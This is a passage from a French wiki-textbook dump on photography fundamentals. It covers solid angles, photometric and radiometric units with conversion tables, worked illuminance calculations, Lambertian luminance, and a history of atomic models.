centrée en S. Plus le cône est ouvert, plus cette aire est grande. L'unité d'angle solide est le '''stéradian''' (sr), c'est-à-dire l''''angle solide au centre d'une sphère qui découpe sur cette dernière une surface d'aire égale au carré du rayon'''. <center><math>\Omega = \frac{s}{R^2}</math></center> La surface d'une sphère étant S&nbsp;=&nbsp;4&nbsp;&pi; R<sup>2</sup>, on en déduit que l'angle solide total autour d'un point (ou spat) vaut 4&nbsp;&pi; stéradians. [[Image:Stéradian 03.png|250px|right]] Supposons maintenant que l'œil soit placé au sommet d'un cône de sommet S et d'angle solide <math>\Omega \,</math>. Toutes les surfaces telles que S<sub>1</sub>, S<sub>2</sub>, S<sub>3</sub> qui s'appuient sur les génératrices du cône sont vues sous le même angle solide mais leurs formes et leurs aires peuvent être très différentes. L'expérience personnelle nous permet de reconnaître la forme des objets, avec (ou sans !) l'aide du jeu des lumières et des ombres et de notre vision binoculaire. Le bord d'une assiette vue obliquement apparaît sous la forme d'une ellipse que notre culture visuelle nous fait reconnaître comme un cercle. Cette aptitude manque totalement aux jeunes enfants et parfois les adultes eux-mêmes se font surprendre en regardant un « trompe-l'œil ». == Bases de calcul == [[Image:Stéradian 02.png|300px|right]] Ceux qui sont rebelles au mathématiques peuvent sauter ce paragraphe et passer sans regrets à la [[Photographie - 05 - Grandeurs lumineuses et unités photométriques|suite]]. En photométrie, on est souvent amené à évaluer l'angle solide <math>\Omega \,</math> sous lequel on observe une surface S depuis un point O. Si la surface est de forme complexe, ce qui est souvent le cas, on la divise en éléments suffisamment petits pour qu'on puisse les considérer comme plans. La normale N à un élément dS fait un angle &alpha; avec la direction d'observation u. La projection de l'élément de surface dS sur une sphère fictive de centre O et de rayon OM donne son aire apparente <math>dS_a = dS \cos{\alpha} \,</math>, tandis que l'angle solide <math>d\Omega \,</math> sous lequel on voit dS depuis O s'écrit : <center><math>d\Omega = \frac{dS_a}{d^2} = \frac{dS \cos{\alpha}}{d^2}</math></center> Bien sûr, &alpha; et d dépendent de M puisqu'a priori la surface S n'est pas sphérique. L'angle solide total <math>\Omega \,</math> sous lequel on voit la surface S depuis le point O est la somme de tous les petits angles élémentaires d<math>\Omega \,</math> : <center><math>\Omega = \int d\Omega = \int_S \frac{dS \cos{\alpha}}{d^2}</math></center> Suite : '''[[Photographie - 05 - Grandeurs lumineuses et unités photométriques|Grandeurs lumineuses et unités photométriques]]'''. Photographie - 05 - Grandeurs lumineuses et unités photométriques 5104 44360 2006-06-11T22:19:19Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_05}} Tout d'abord, attention à ne pas confondre '''photométrie''' et '''radiométrie'''. La première mesure les rayonnements à partir de critères visuels, la seconde, à partir de critères énergétiques. Toutes les grandeurs que nous allons voir se déclinent donc de deux manières différentes selon que l'on considère l'un ou l'autre aspect. La notion la plus facile à comprendre est celle de flux : cette grandeur caractérise un "débit" de rayonnement dans un angle solide donné. Une ampoule électrique, par exemple, rayonne dans presque toutes les directions de l'espace, mais pas forcément de manière uniforme. Il existe évidemment deux types de flux : un flux lumineux et un flux énergétique correspondant à des rayonnements pas forcément visibles. == Intensité lumineuse I == Pour des raisons pratiques, c'est cette grandeur qui sert à définir les autres. Il s'agit de la valeur limite du rapport entre un flux élémentaire dF et l'angle solide <math>d\Omega</math> dans lequel ce flux est émis, quand cet angle devient infiniment petit. <center><math>I = \lim_{d\Omega \to 0}\left(\frac{dF}{d\Omega}\right)</math></center> Cette grandeur est orientée et on peut la représenter par un vecteur. L'unité est la '''candela''' (mot latin qui signifie "chandelle", on dit "candéla" mais il n'y a pas d'accent). Une nouvelle définition est en vigueur depuis 1979 : la candela (cd) est l'intensité lumineuse, dans une direction donnée, d'une source qui émet un rayonnement monochromatique de fréquence 540.10<sup>12</sup> Hz et dont l'intensité énergétique est de 1/683 watt par stéradian. Remarque : cette radiation a une longueur d'onde de 0,555 µm, en plein dans le vert-jaune qui est la plus lumineuse des couleurs saturées. == Flux lumineux F == Le '''lumen''' (lm) est le flux lumineux émis dans un angle solide de 1 stéradian par une source ponctuelle uniforme, placée au sommet de l'angle solide, et ayant une intensité lumineuse de 1 cd. == Quantité de lumière Q == Le '''lumen.seconde''' (lm.s) est la quantité de lumière produite par une source émettant un flux constant de 1 lumen pendant une seconde. == Éclairement E == Le '''lux''' (pas d'abréviation) est l'éclairement d'une surface qui reçoit normalement, d'une manière uniformément répartie, un flux lumineux de 1 lumen par mètre carré. == Exitance M == Appelée autrefois ''radiance'' ou ''émittance'' : le '''lumen par mètre carré''' (lm/m<sup>2</sup>) est l'exitance d'une surface de 1 mètre carré qui émet un flux de 1 lumen. '''Attention !''' Cette grandeur a la même dimension que la précédente, la différence fondamentale étant que l'éclairement concerne la lumière reçue et l'exitance la lumière émise. Pour éviter les erreurs, on utilise deux unités différentes et on convient souvent de noter S une surface réceptrice et &Sigma; une surface émissive, même quand il s'agit d'une source secondaire qui se contente de renvoyer une partie de la lumière qu'elle reçoit. == Luminance L == Autrefois ''brillance'' : la '''candela par mètre carré''' (cd/m<sup>2</sup>) est la luminance d'une surface dont l'aire apparente, dans une direction donnée, est de 1 mètre carré et qui émet, dans cette direction, une intensité de 1 candela. <center><math>L = \frac{dI}{d\Sigma \cos{\alpha}} = \frac{dI}{d\Sigma_a}</math></center> '''La luminance est la seule grandeur perceptible par l'œil'''. == Exposition lumineuse H == Anciennement ''lumination'' : le '''lux.seconde''' (lux.s)est l'exposition lumineuse d'une surface qui reçoit un éclairement de 1 lux pendant 1 seconde. <center><math>H = E t \,</math></center> '''L'exposition lumineuse est la grandeur active en photographie'''. == Tableau des unités photométriques et radiométriques == Tableaux adaptés de la Wikipédia anglaise : {| border="2" cellpadding="4" cellspacing="0" style="margin: 1em 1em 1em 0; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;" align=center width=80% style="background:#f3f9ff;" ! colspan="5" | <font size="+1">unités photométriques SI</font> |- ! Grandeur ! Unité SI ! Symbole ! Notes |- | Quantité de lumière | lumen.seconde | lm.s | le lumen.seconde est parfois appelé ''talbot'' dans les pays anglosaxons |- | Flux lumineux | lumen (ou candela.stéradian) | lm | appelé parfois ''puissance lumineuse'' |- | Intensité lumineuse | candela (ou lumen par stéradian) | cd | c'est l''''unité de base''' |- | Luminance | candela par mètre carré | cd/m<sup>2</sup> | appelée parfois ''brillance'' |- | Éclairement | lux (ou lumen par mètre carré) | lx | il s'agit du flux lumineux reçu par une surface |- | Exitance | lumen par mètre carré | lm/m<sup>2</sup> | même dimension que l'éclairement mais il s'agit du flux lumineux émis par une surface |- | Efficacité lumineuse | lumens par watt | lm/W | le maximum possible est 683 |- |} {| border="1" cellspacing="0" cellpadding="2" align=center width=80% style="margin:0 auto; background:#f3f9ff;" ! colspan="6" | <font size="+1">unités radiométriques SI</font> |- ! Grandeur ! Unité ! Symbole ! Notes ! correspondance |- | Énergie (radiante) | joule | J | c'est l'énergie au sens classique du terme | Quantité de lumière |- | Puissance (radiante) | watt | W | c'est une puissance au sens commun du terme | Flux lumineux |- | Intensité énergétique | watt par stéradian | W&middot;sr<sup>-1</sup> | la puissance est rapportée à l'unité d'angle solide | Intensité lumineuse |- | Luminance énergétique | watt par stéradian et par mètre carré | W&middot;sr<sup>-1</sup>&middot;m<sup>-2</sup> | la puissance est rapportée à l'unité d'angle solide et à l'unité de surface apparente (surface projetée perpendiculairement à la direction de mesure) | Luminance |- | Éclairement énergétique | watt par mètre carré | W&middot;m<sup>-2</sup> | la puissance est rapportée à l'unité de surface réceptrice | Éclairement |- | Exitance énergétique | watt par mètre carré | W&middot;m<sup>-2</sup> | la puissance est rapportée à l'unité de surface émettrice | Exitance |- | Luminance énergétique spectrale | watt par stéradian et par mètre cube | W&middot;sr<sup>-1</sup>&middot;m<sup>-3</sup> | la luminance énergétique est rapportée à l'unité de largeur de bande spectrale et s'exprime plus couramment en W&middot;sr<sup>-1</sup>&middot;m<sup>-2</sup>&middot;nm<sup>-1</sup> | |- | Exitance énergétique spectrale | watt par mètre cube | W&middot;m<sup>-3</sup> | l'exitance énergétique est rapportée à l'unité de largeur de bande spectrale et s'exprime plus couramment en W&middot;m<sup>-2</sup>&middot;nm<sup>-1</sup> | |- |} '''Autres unités photométriques''' D'autres unités peuvent être trouvées dans la littérature ancienne, elles n'ont plus cours mais il faut pouvoir faire les conversions. Par ailleurs, il faut aussi pouvoir convertir les unités anglosaxonnes. '''Les tableaux ci-dessous expriment ce que valent les unités inscrites en tête de ligne par rapport à celles qui sont inscrites en tête de colonne'''. Par exemple, 1 bougie Hefner vaut 0,92 candela. {| border="1" cellpadding="3" cellspacing="0" |- |'''Intensité lumineuse''' |'''candela''' (cd) |bougie décimale |bougie Hefner |ancienne candle |- |'''candela''' (cd) |1 |0,98 |1,09 |0,95 |- |bougie décimale |1,02 |1 |1,11 |0,97 |- |bougie Hefner |0,92 |0,90 |1 |0,88 |- |ancienne candle |1,05 |1,03 |1,14 |1 |- |} {| border="1" cellpadding="3" cellspacing="0" |- |'''Luminance''' |'''cd/m<sup>2</sup>'''<br> ou nit(nt) |cd/cm<sup>2</sup><br> ou stilb<br>(sb) - CGS |cd/foot<sup>2</sup><br> ou foot-candle<br>(fc) |apostilb ou <br> mètre-lambert<br> (asb) - (mL) |lambert<br> (L) - CGS |foot.lambert<br> (ftL) |- |'''cd/m<sup>2</sup>''' |1 |0,0001 |0,0929 |&pi; |0,0001 &pi; |0,292 |- |cd/cm<sup>2</sup> |10 000 |1 |929 |10 000 &pi; |&pi; |2920 |- |foot-candle |10,76 |0,001076 |1 |33,82 |0,003382 |&pi; |- |mètre-lambert |1/&pi; |0,0001/&pi; |0,02957 |1 |0,0001 |0,0929 |- |lambert |10 000/&pi; |1/&pi; |295,7 |10 000 |1 |929 |- |foot.lambert |3,426 |0,0003426 |1/&pi; |10,76 |0,001076 |1 |- |} {| border="1" cellpadding="3" cellspacing="0" |- |'''Éclairement''' |'''lux''' ou lm/m<sup>2</sup> <br>(lux) |lm/cm<sup>2</sup><br> ou phot (ph) - CGS |lm/foot<sup>2</sup> ou<br> foot-candle (fc) |- |'''lux''' |1 |0,0001 |0,0929 |- |phot |10 000 |1 |929 |- |foot-candle |10,76 |0,001076 |1 |- |} Le foot-lambert et le mètre-lambert sont couramment utilisés dans les payx anglosaxons et il faut bien reconnaître qu'ils ont un caractère pratique certain. Comme nous le verrons bientôt, pour une surface parfaitement diffusante située à 1 m d'une source d'intensité uniforme 1 cd qui l'éclaire normalement (à la perpendiculaire), on trouve une luminance de 1 mètre-lambert ou apostilb ou 1/&pi; cd/m<sup>2</sup>. == Valeurs numériques utiles == ''La sensibilité de l'œil est assez étonnante, puisqu'il est possible dans de bonnes conditions atmosphériques de percevoir le rayonnement d'une bougie située à une trentaine de km. La puissance traversant la pupille est si faible qu'elle mettrait un milliard d'années pour élever la température d'un gramme d'eau de 1°C''. (A. BLANC, Rayonnement) Dans les meilleures conditions, le rapport des luminances extrêmes qu'un œil normal peut percevoir simultanément est de l'ordre de 100 000 à 1 000 000. Il est bon de rapprocher dès maintenant ce chiffre du rapport des exposi­tions simultanément enregistrables sur les cou­ches sensibles ou les capteurs, qui ne dépasse guère 100 à 300 selon le matériel utilisé. Les valeurs ci-dessous ne sont évidem­ment données qu'à titre indicatif {| border="1" cellpadding="3" cellspacing="0" |+ '''Éclairements en lux, produits par :''' |- | ciel nocturne |0,0003 |- |pleine Lune |0,2 |- |lampe de 75 W à 4 m |10 |- |lampe de 75 W à 2 m |40 |- |éclairage public |50 |- |éclairage artificiel correct |100 |- |très bon éclairage artificiel (travail fin) |500 |- |extérieur, temps nuageux |15 000 |- |rue par temps clair |25 000 |- |plein Soleil, en été, à midi |100 000 |- |colspan="2"|'''valeurs conseillées en éclairagisme''' |- |chambre à coucher, tableau, sculpture |150 |- |salle à manger ou cuisine |200 |- |plan de travail écriture ou cuisine, salle de bains |300 |- |travaux d'aiguille |500 |- |} {| border="1" cellpadding="3" cellspacing="0" |+ '''Luminances en cd/m<sup>2</sup> :''' |- |seuil de perception de l'œil |0,000001 |- |ciel nocturne |0,0001 |- |pleine Lune, temps clair |2 000 |- |tubes fluorescents |5 000 |- |flammes éclairantes |15 000 |- |papier blanc en plein Soleil, en été à midi |30 000 |- |'''éblouissement''' vers |500 000 |- |filament de carbone |700 000 |- |filament de tungstène ordinaire |10 000 000 |- |filament de lampe de projection |20 000 000 |- |cratère positif, arc électrique au charbon |160 000 000 |- |'''apparition possible de lésions oculaires''' vers |250 000 000 |- |arc au xénon |400 000 000 |- |lampes à vapeur de mercure à haute pression |500 000 000 |- |Soleil à travers l'atmosphère |1 600 000 000 |- |lampes-éclair (flashes, pendant quelques µs) |10 000 000 000 |- |} Suite : '''[[Photographie - 05 - Calculs photométriques usuels|Calculs photométriques usuels]]''' Photographie - 05 - Calculs photométriques usuels 5106 44359 2006-06-11T22:18:44Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_05}} {| border="1" cellpadding="10" cellspacing="0" align="center" |- |align="center"|<big>'''REMARQUE IMPORTANTE :'''</big><br><br>'''dans tous les calculs de photométrie<br>il faut exprimer les distances en mètres !!''' |- |} == Loi de l'inverse du carré de la distance, relation de Bouguer == [[Image:Inverse du carré.png|280px|right]] Un simple constat pour commencer : la surface bleu clair et la surface bleu foncé interceptent le même flux provenant de la source lumineuse. La seconde surface ayant une aire quatre fois plus grande que la première, son éclairement est quatre fois plus faible. Si elle était 3 fois plus loin, elle aurait une aire neuf fois plus grande et son éclairement serait neuf fois plus faible, etc. Et maintenant, en avant pour le calcul dans le cas le plus général ! Il faut <u>montrer que l'éclairement d'une surface dS, placée à une distance r d'une source lumi­neuse ponctuelle P d'intensité uniforme I, varie en raison inverse du carré de la distanc</u>e. [[Image:Loi de Bouguer.png|200px|right]] On appellera &alpha; l'angle, supposé constant, des rayons lumineux avec la normale à dS. La surface élémentaire dS étant vue obliquement depuis P, il faut calculer l'angle solide <math>d\Omega \,</math> à partir de sa surface apparente <math>dS \cos{\alpha} \,</math> : <center><math>r^2d\Omega = dS \cos{\alpha} \quad \Rightarrow \quad d\Omega = \frac{dS \cos{\alpha}}{r^2}</math></center> Le flux reçu par la surface dS est <math>dF = I d\Omega</math> et l'éclairement correspondant s'écrit : <center><math>E = \frac{dF}{dS} = I \frac{d\Omega}{dS} = \frac{I \cos{\alpha}}{r^2}</math></center> La '''relation de Bouguer''' s'exprime par la formule suivante : {| border="1" cellpadding="5" cellspacing="0" align="center" |- |<math>E = \frac{I \cos{\alpha}}{r^2}</math> |- |} Si les rayons tombent perpendiculaire­ment sur la surface dS la formule se simplifie en : <center><math>E = \frac{I}{r^2}</math></center> Dans les mêmes conditions d'inclinaison, l'éclairement fourni par une source lumineuse est inversement proportionnel au carré de la distance séparant cette source de la surface récep­trice ou, d'une manière plus générale, du point où l'on veut évaluer l'éclairement : '''on peut en effet calculer l'éclairement en un point de l'espace, même s'il n'y existe aucun récepteur, à condition de préciser la direction dans laquelle on se place'''. == Calcul d'une puissance lumineuse == <u>Une source lumineuse est placée à 4 m sur la normale à un écran carré de 100 mm de côté. Cette source, pratiquement ponctuelle, est une lampe survoltée à réflec­teur hémisphé­rique capable de rayonner de manière quasi uni­forme dans un angle solide de &pi;1 sd (1/2 espace). Quelle doit être sa puis­sance lumineuse (en lumens) pour que l'éclairement reçu par l'écran soit de 100 lux</u> ? L'écran étant petit par rapport à sa dis­tance à la source, on peut supposer que tous les rayons arrivent perpendiculairement à sa surface et chercher l'intensité lumineuse : <math>E = \frac{I}{r^2} \quad \Rightarrow \quad I = Er^2 = 100 \times 16 = 1600 \,cd</math> Cette intensité étant supposée uniforme, le flux total émis sera : <math>F = I \Omega = 1600 \times 2 \times \pi \approx 10 \,000 \,lm</math> <math>F = 10 \,000 \,lm </math> == Calcul d'un flux lumineux == <u>L'écran du problème précédent est maintenant situé à 20 m de la source, toujours de telle manière que les rayons lui arrivent normalement. Calculer par trois méthodes différentes le flux qu'il reçoit</u>. * '''Première méthode :''' on utilise le fait que l'éclairement varie en raison inverse du carré de sa distance à la source, qui passe de 4 m à 20 m : <math>E = 100 \frac{4^2}{20^2} = 4 \,lux </math> En multipliant la distance par 5, l'éclaire­ment est en effet divisé par 2, rien d'étonnant. Le flux cherché est le produit de l'éclai­rement par la surface : <math>F = 4 \times 0,1^2 = 0,04 \,lm</math> * '''Seconde méthode :''' on cherche d'abord l'angle solide sous lequel l'écran est vu depuis la source. Le flux sera facile à calculer puisque l'intensité de cette dernière est connue : <math>S = r^2 \Omega \quad \Rightarrow \quad \Omega = \frac{S}{r^2} = \frac{0,01}{20^2} = 0,000025 \,sr</math> <math>F = I \Omega = 1\,600 \times 0,000024 = 0,04\,lm</math> On remarquera que cette méthode n'est pas plus compliquée que la précédente, si ce n'est que dans notre cas particulier, elle oblige à manipuler des nombre peu commodes. * '''Troisième méthode :''' on peut encore partir du flux total émis dans le demi-espace et le multiplier par le rap­port des angles solides : <math>F = 10\,000 \frac{0,000025}{2 \pi} = 0,04\,lm</math> Naturellement le choix de la meilleure méthode à utiliser dépendra du travail à effectuer et des données disponibles. Catégorie:Chimie 5107 33515 2006-02-19T18:07:49Z 62.194.241.152 [[commons:Template talk:Sisterlinks|Sisterlink project]] {{sisterlinks|Category:Chemistry}} [[Catégorie:Science]] [[de:Kategorie:Chemie]] [[en:Category:Chemistry]] [[es:Categoría:Química]] [[it:Categoria:Chimica]] [[he:קטגוריה:כימיה]] [[nl:Categorie:Scheikunde]] [[ja:Category:化学]] Photographie - 05 - Sources orthotropes 5108 44358 2006-06-11T22:18:14Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_05}} Une '''source lumineuse orthotrope''' est caractérisée par une luminance identique dans toutes les directions. Quelle que soit sa forme, une telle source paraît plane, à l'exemple du Soleil qui, bien qu'il soit sphérique, semble être un disque dans le ciel. Les '''corps noirs''' sont théoriquement des sources lumineuses orthotropes. == Luminance d'une surface parfaitement mate == <u>Une feuille de papier blanc mat placée perpendiculairement aux rayons du Soleil, en été, à midi, reçoit un éclairement E de 100 000 lux</u>. <u>Quelle est sa luminance ?</u> On peut supposer que ce papier se comporte comme un diffuseur parfait, au sens de la '''loi de Lambert''' : * son absorption est nulle, il renvoie toute la lumière qu'il reçoit, * sa luminance est indépendante de la direction d'observation. Dans ces conditions, il se comporte comme un corps orthotrope. [[Image:Luminance.png|300px|right]] On considère une demi-sphère fictive de rayon très grand par rapport aux dimensions du papier de façon que celui-ci puisse être considéré comme une source ponctuelle. La feuille est au centre de cette demi-sphère et dans le plan qui la limite. On découpe sur cette demi-sphère une zone très étroite définie par ('''&alpha;, d&alpha;''') et dont l'aire élémentaire <math>dS\,</math> vaut : <math>dS = 2 \pi R \sin{\alpha} \times R\,d\alpha = 2 \pi R^2 \sin{\alpha}\,d\alpha</math> Cette zone est vue depuis le centre sous un angle solide <math>d\Omega\,</math> tel que : <math>d\Omega= \frac{2 \pi R^2 \sin{\alpha\,d\alpha}}{R^2} = 2 \pi \sin{\alpha}\,d\alpha</math> La feuille a une aire <math>\Sigma\,</math> (surface émissive secondaire) et on appelle <math>L\,</math> sa luminance. Elle émet dans la direction définie par <math>\alpha\,</math> une intensité lumineuse : <math>I = L\,\Sigma \cos{\alpha}</math> Le flux émis dans l'angle solide <math>d\Omega\,</math> est alors : <math>dF = I\,d\Omega = L\,\Sigma \cos{\alpha} \times 2 \pi \sin{\alpha}\,d\alpha = \pi L \Sigma \sin{2\alpha}\,d\alpha</math> Le flux total émis par la feuille vaut : <math>F = \int_0^F dF = \int_0^{\pi/2} \pi L \Sigma \sin{2 \alpha}\,d \alpha = \pi L \Sigma \int_0^{\pi/2} \sin{2 \alpha}\,d \alpha </math> <math>F = \pi L \Sigma \, \left[- \frac{\cos{2 \alpha}}{2} \right]_0^{\pi/2} = \pi L \Sigma</math> Le flux reçu par la feuille vaut <math>F = E\, \Sigma</math>, il est intégralement renvoyé, par conséquent : <math>\pi L \Sigma = E \Sigma\,</math> On obtient finalement : {| border="1" cellpadding="8" cellspacing="0" Align="center" |- |<math>L = \frac{E}{\pi}</math> |- |} Si l'éclairement est 100 000 lux, alors la luminance est '''L = 31 800 cd/m<sup>2</sup>''' , valeur à comparer avec celle donnée [[Photographie - 05 - Grandeurs lumineuses et unités photométriques#Valeurs numériques utiles|précédemment]], sans oublier que le papier absorbe un peu de lumière. Photographie - 05 - Indicatrices de luminance et d'intensité lumineuse 5110 44357 2006-06-11T22:17:46Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_05}} Il est intéressant de représenter graphiquement les variations de la luminance et de l'intensité lumineuse autour d'une source lumineuse. Les deux sortes de diagrammes ont des applications différentes, selon qu'il s'agit de l'aspect de la source lumineuse vue dans une direction déterminée ou de l'intensité qu'elle émet dans cette direction, donc de sa capacité à éclairer les objets voisins. [[Image:Diagramme de luminance.png|200px|right]] A priori cette représentation doit se faire dans l'espace mais l'émission de la plupart des sources donne une surface de révolution que l'on coupe par un plan passant par son axe. Les courbes obtenue sont appelées '''indicatrices''', elles sont très intéressantes pour les éclairagistes et bien sûr pour les photographes. Si l'on reprend l'exemple du papier mat pris comme exemple de source orthotrope, alors sa luminance est indépendante de la direction d'observation et on peut la représenter par un demi-cercle. [[Image:Diagramme d'intensité.png|200px|right]] L'intensité émise dans la direction '''&alpha;''' par la même surface émissive '''&Sigma;''' sera : <math>I = L \Sigma \cos{\alpha} \,</math> En posant <math>L\Sigma = I_o \,</math>, intensité émise dans la direction normale au plan : <math>I = I_o \cos{\alpha}\,</math> Conformément à cette équation, le diagramme est donc un second cercle tangent à la surface émissive et non plus centré sur elle comme précédemment. On voit bien cette fois-ci que l'intensité diminue au fur et à mesure que l'on s'éloigne de la normale pour s'annuler finalement lorsque l'on se trouve dans le plan de la feuille. [[Image:Indicatrices d'une lampe.png|200px|right]] Si l'on trace ces deux courbes pour une lampe ordinaire (non opalisée) à filament de tungstène, on obtient les indicatrices de luminance et d'intensité de cette lampe. La luminance du filament de tungstène est pratiquement constante, il paraît toujours aussi lumineux si l'on change la direction d'observation, car il se comporte grosso modo comme un corps noir. Par contre, l'intensité est minimale dans le plan du filament en raison de la diminution de sa surface apparente. Les fabricants de lampes donnent généralement les diagrammes d'intensité lumineuse, de façon que les éclairagistes puissent faire leurs calculs avec toutes les données en main. En voici deux exemples, l'un pour une source orthotrope à titre de référence, l'autre pour une lampe du commerce : [[Image:Indicatrice d'intensité.png|250px]] [[Image:Indicatrice d'intensité 1.png|250px]] Photographie - Chapitre 02 - Rappels de physique et de chimie 5111 32167 2006-02-09T10:58:45Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_02}} Photographie - 02 - Constitution de la matière 5112 33308 2006-02-18T20:23:00Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_02}} La matière a-t-elle une structure continue ou discontinue ? Peut-on la diviser en morceaux aussi petits que l'on veut sans en changer les propriétés ? Cette question a très longtemps divisé les philosophes. L'un des éléments en faveur de la théorie atomique est l'existence des cristaux, dont les formes géométriques font penser à des empilements réguliers de petits éléments de matière. <gallery> Image:USDA Mineral Quartz Crystal 93c3951.jpg|Cristaux de quartz Image:Fluorite crystals 270x444.jpg|Octaèdres de fluorite Image:PseudoleucitaEZ.jpg|Pseudoleucite Image:Rough diamond.jpg|Diamant brut </gallery> Selon l'hypothèse moléculaire, la division d'un corps chimiquement défini en particules de plus en plus petites ne peut être poursuivie indéfiniment sans changer la nature de ce corps. La molécule est la plus petite fraction d'un corps susceptible d'exister à l'état libre. Chaque molécule, spécifique d'un composé chimique donné, peut à son tour être divisée en un certain nombre d'objets plus petits, les atomes qui caractérisent les éléments chimiques dont est formé ce composé. == Conceptions antiques == La science moderne n'a fait que préciser ce concept proposé voici 25 siècles par les Grecs Leucippe et Démocrite, pour qui la nature est composée dans son ensemble de deux principes : les atomes (ce qui est plein) et le vide (ou néant). L'existence des atomes peut être déduite de ce principe : « Rien ne vient du néant, et rien, après avoir été détruit, n'y retourne. » Il y a ainsi toujours du plein, c'est-à-dire de l'être, et le non-être est le vide. Les atomes sont des corpuscules solides et indivisibles, séparés par des intervalles vides, et dont la taille fait qu'ils échappent à nos sens. Décrits comme lisses ou rudes, crochus, recourbés ou ronds (ils sont infinis par leur forme, figure et grandeur), ils ne peuvent être affectés ou modifiés à cause de leur dureté. Si l'on s'en rapporte à l'étymologie, atome signifie "que l'on ne peut couper". La réalité est un peu moins simple et depuis un siècle la conception de l'atome n'a cessé d'évoluer ! <gallery> Image:Leucippe (portrait).jpg|Leucippe<br>(vers -465 –375)<br> « portrait idéal » Image:Demokrit.jpeg|Démocrite<br>(vers -460 -370) </gallery> == Conceptions modernes == Le 26 février 1896 au matin, le soleil a bien du mal à percer. Henri Becquerel, qui étudie la fluorescence de certains composés soumis à la lumière du Soleil, range son matériel dans un tiroir : quelques plaques photo sur lesquelles il pose un écran de cuivre et les sels d'uranium qui constituent le sujet de son expérience. Surprise : les plaques, développées quelques jours plus tard, sont voilées. On y distingue la silhouette de l'écran de cuivre. Un rayonnement inconnu a donc transpercé l'emballage opaque. Henri Becquerel ne le sait pas encore, mais il vient de découvrir la radioactivité naturelle. Il pense très vite aux rayons X dont Röntgen a révélé l'existence en 1895 et dont les effets sont comparables. Le hasard une fois de plus, mais aussi la photo, sont intervenus lors d'une découverte importante. Seulement voilà, comme dit le proverbe, chaque découverte posant de nouvelles questions, la quantité d'ignorance croît beaucoup plus vite que la quantité de savoir ! Nouvel événement : en 1897, Joseph John Thomson découvre l'électron, « grain d'électricité négative », dont il précisera la masse en 1904. Désormais, l'atome ne peut plus être considéré comme une entité insécable ! Thomson conçoit l'atome comme une sorte de « magma » chargé positivement et renfermant les électrons porteurs de charges négatives. On parle du « pudding de Thomson ». <gallery> Image:Henri Becquerel.jpg|Henri Becquerel<br>(1852 - 1908) Image:Jj thomson2.jpg|Sir Joseph John Thomson<br>(1856 - 1940) Image:Thomsonsches atommodell.png|Le Pudding de Thomson </gallery> Entre temps, on trouve que le thorium est lui aussi radioactif. En 1898, Pierre et Marie Curie découvrent le polonium et le radium. <gallery> Image:Mariecurie.jpg|Marie Curie<br>(1867 - 1934) Image:Pierrecurie.jpg|Pierre Curie<br>(1859 - 1906) </gallery> L'activité des atomes se manifeste sous des jours divers. Les rayonnements α (alpha) et β (bêta), respectivement porteurs de charges positives et négatives, sont déviés en sens opposé lorsqu'ils traversent un champ électrique ou un champ magnétique. On sait qu'il s'agit de particules car on peut les suivre à la trace grâce au scintillement des écrans fluorescents. Les rayons γ (gamma), par contre, ne sont pas chargés électriquement. Ils traversent en ligne droite les champs électriques ou magnétiques. On apprend aussi que ces rayonnements sont très nocifs et qu'il convient de s'en protéger. En 1911, chargé par Thomson de vérifier son modèle atomique, Ernest Rutherford enferme du radium dans une enceinte de plomb. Les particules α ne peuvent s'en échapper que par une petite ouverture obturée d'une mince feuille d'or. Des écrans sont disposés sur les murs de façon que l'on puisse observer leur trajectoire après qu'elles ont traversé la feuille d'or. Rutherford observe que les particules traversent l'or en ligne droite, sauf quelques unes qui sont fortement déviées. Il en déduit que les atomes sont constitués de beaucoup de vide et d'un peu de matière très fortement concentrée dans ce qu'il nomme alors le "noyau" atomique. Les rares particules déviées sont celles qui ont rencontré de la matière sur leur trajectoire. <gallery> Image:Ernest Rutherford.jpg|Ernest Rutherford<br>(1871 - 1937) Image:Rutherford 1911 Solvay.jpg|Rutherford à la 1ère conférence Solvay, 1911 Image:Atome de Rutherford.png|Le modèle de Rutherford </gallery> L'atome imaginé par Rutherford est donc constitué essentiellement de vide avec des électrons qui « gravitent » à la manière des satellites autour d'un noyau très dense. On sait aujourd'hui que le diamètre du noyau est environ 100 000 fois plus petit que celui de l'atome. C'est le Danois Niels Bohr qui le premier suggère un modèle satisfaisant pour représenter la constitution des atomes, à la lumière d'une théorie développée à partir de 1900 par Max Planck, la mécanique quantique. Théorie pas facile, et dérangeante pour l'esprit ! A l'échelle atomique, tout varie de façon discontinue, les échanges ne font intervenir que des quantités bien définies de matière, d'énergie, de rayonnement, etc., appelées quanta (pluriel latin de quantum). <gallery> Image:Max planck.jpg|Max Planck<br>(1858 - 1947) Image:Niels Bohr.jpg|Niels Bohr<br>(1885 - 1962) Image:Barium (Elektronenbestzung).png|modèle de Bohr pour l'atome de baryum Image:Albert Einstein.jpg|Albert Einstein<br>(1879 -1955)<br> par Youssuf Karsch </gallery> La théorie des quanta révolutionne la physique à tel point qu'Einstein écrit : ses travaux [de Planck] ont donné un élan presque inégalé aux progrès de la science. Leurs effets se feront sentir tant que durera la science. En 1905, Einstein lui-même va plus loin en postulant l'existence d'un corpuscule de lumière, ou photon, dont nous ne manquerons pas de reparler en temps utile. Que ferait le photographe sans les photons ? Selon la théorie développée par Bohr en 1913, à l'image du système solaire, chaque atome est constitué d'un noyau autour duquel gravitent des électrons. La différence fondamentale avec l'atome de Rutherford est que les orbites de ces électrons correspondent obligatoirement à des niveaux d'énergie bien définis. == Le noyau et l'atome == [[Image:Stylised Lithium Atom.png|thumb|160px|right|Atome de lithium stylisé.<br>Rouge : protons<br>Bleu : neutrons<br>Noir : électrons]] La vision du noyau atomique se précise quand le neutron, pressenti dès 1920 par Rutherford, est découvert en 1932 par James Chadwick. Le noyau comporte deux types essentiels de particules ou nucléons : * les '''protons''' sont des « grains » d'électricité positive, de masse 1,66.10<sup>-24</sup> g, ils portent une charge élémentaire e = 1,6.10<sup>-19</sup> coulomb, * les '''neutrons''', dont la masse est très légèrement supérieure à celle des protons, sont totalement dépourvus de charge électrique. Quant aux '''électrons''', ils ont une masse environ 2 000 fois plus faible que celle des nucléons, 0,9.10<sup>-27</sup> g, et ils portent une charge électrique négative opposée à celle du proton. Les atomes étant normalement électriquement neutres contiennent donc un même nombre Z de protons et d'électrons. Ce nombre est 